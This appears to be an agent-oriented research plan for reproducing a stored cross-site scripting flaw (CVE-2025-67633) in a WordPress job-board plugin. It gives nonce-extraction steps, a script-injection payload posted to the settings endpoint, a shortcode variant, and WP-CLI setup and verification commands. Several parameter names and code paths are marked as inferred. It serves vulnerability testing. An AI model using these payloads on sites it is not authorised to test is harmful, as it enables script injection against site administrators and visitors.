Greenhouse Job Board <= 2.7.3 - Authenticated (Administrator+) Stored Cross-Site Scripting

This research plan outlines the technical steps to analyze and exploit CVE-2025-67633, a Stored Cross-Site Scripting (XSS) vulnerability in the Greenhouse Job Board plugin.

1. Vulnerability Summary

• Vulnerability: Authenticated Stored XSS.
• Vulnerable Component: Plugin settings page or custom post type metadata handled by the plugin.
• Cause: The plugin fails to sanitize user-supplied input when saving settings and fails to escape that data when rendering it in the WordPress admin dashboard or on the frontend.
• Constraint: Specifically impacts environments where unfiltered_html is disabled (e.g., Multi-site or define( 'DISALLOW_UNFILTERED_HTML', true );). In these environments, even Administrators are subjected to kses filtering, but this plugin likely bypasses or omits those checks in its custom implementation.

2. Attack Vector Analysis

• Endpoint: WordPress Admin Settings page.
• Authentication: Administrator level or higher.
• Payload Location: Plugin configuration options (e.g., Greenhouse Account ID, API Key, or Display Settings).
• Precondition: The site must be a Multi-site installation OR unfiltered_html must be explicitly disabled for the Administrator role.

3. Code Flow (Inferred)

1. Registration: The plugin registers a settings page using add_options_page() or add_menu_page() (likely in a class handling admin menus).
2. Input Processing: Settings are registered via register_setting(). If a sanitize_callback is missing or uses a weak function (like trim), malicious scripts can be stored in the wp_options table.
3. Persistence: The payload is saved via update_option() when the admin submits the settings form.
4. Sink (Rendering): The stored option is retrieved using get_option() and echoed directly into an HTML attribute (e.g., value="<?php echo get_option('ghjb_id'); ?>") or a container without using esc_attr() or esc_html().

4. Nonce Acquisition Strategy

Since the exploit requires Administrator access to modify settings, the agent must authenticate and extract the settings nonce.

1. Identify Page: Navigate to the plugin settings page (likely /wp-admin/admin.php?page=greenhouse-job-board).
2. Locate Form: Find the <form> that handles the settings.
3. Extract Nonce:
   • WordPress uses the Settings API. The nonce field name is typically _wpnonce.
   • Action: browser_navigate to the settings page.
   • Action: browser_eval to get the nonce: document.querySelector('input[name="_wpnonce"]').value.
   • Also, extract the option_page and action values (usually update).

5. Exploitation Strategy

The exploitation involves updating a plugin setting with a payload that breaks out of an HTML context.

Step 1: Initial Discovery
Search for the settings registration to identify vulnerable parameters:

grep -r "register_setting" /var/www/html/wp-content/plugins/greenhouse-job-board/
grep -r "get_option" /var/www/html/wp-content/plugins/greenhouse-job-board/ | grep "echo"

Step 2: Payload Construction
If the payload is reflected in an input field value attribute:
"><script>alert(document.domain)</script>

Step 3: HTTP Request (using http_request)

• URL: https://[target]/wp-admin/options.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • option_page: (Extracted from form, e.g., greenhouse_job_board_settings)
  • action: update
  • _wpnonce: (The extracted nonce)
  • greenhouse_id (Inferred parameter): "><script>alert(document.domain)</script>

6. Test Data Setup

To accurately reproduce the "vulnerable" state where unfiltered_html is disabled:

1. Install Plugin: wp plugin install greenhouse-job-board --version=2.7.3 --activate
2. Create Admin: wp user create exploit_admin admin@example.com --role=administrator --user_pass=password123
3. Restrict HTML: Add define( 'DISALLOW_UNFILTERED_HTML', true ); to wp-config.php. This forces the Administrator to rely on the plugin's (absent) sanitization.
4. Confirm Settings Page: Identify the menu slug using wp admin-menu list.

7. Expected Results

• The options.php request should return a 302 Redirect back to the settings page with ?settings-updated=true.
• Upon visiting the settings page or the frontend job board (depending on where the option is used), the JavaScript payload alert(document.domain) will execute in the browser context.

8. Verification Steps

After performing the exploit via HTTP, verify the database state using WP-CLI:

# Check if the payload is stored raw in the database
wp option get greenhouse_id --allow-root

# Verify the presence of the payload in the rendered HTML of the admin page
# (Simulated via CLI)
wp eval 'echo get_option("greenhouse_id");' | grep "script"

9. Alternative Approaches

If the main settings page is properly sanitized, check for:

1. Shortcode Attributes: If the plugin uses a shortcode like [greenhouse], check if attributes are echoed without escaping.
   • Setup: Create a post with [greenhouse id='"><script>alert(1)</script>'].
2. AJAX Handlers: Check for wp_ajax_ handlers that save metadata.
   • Grep: grep -r "wp_ajax" .
3. Template Overrides: Check if the plugin allows users to define custom "Template" strings or "CSS" blocks in the settings, which are often overlooked for sanitization.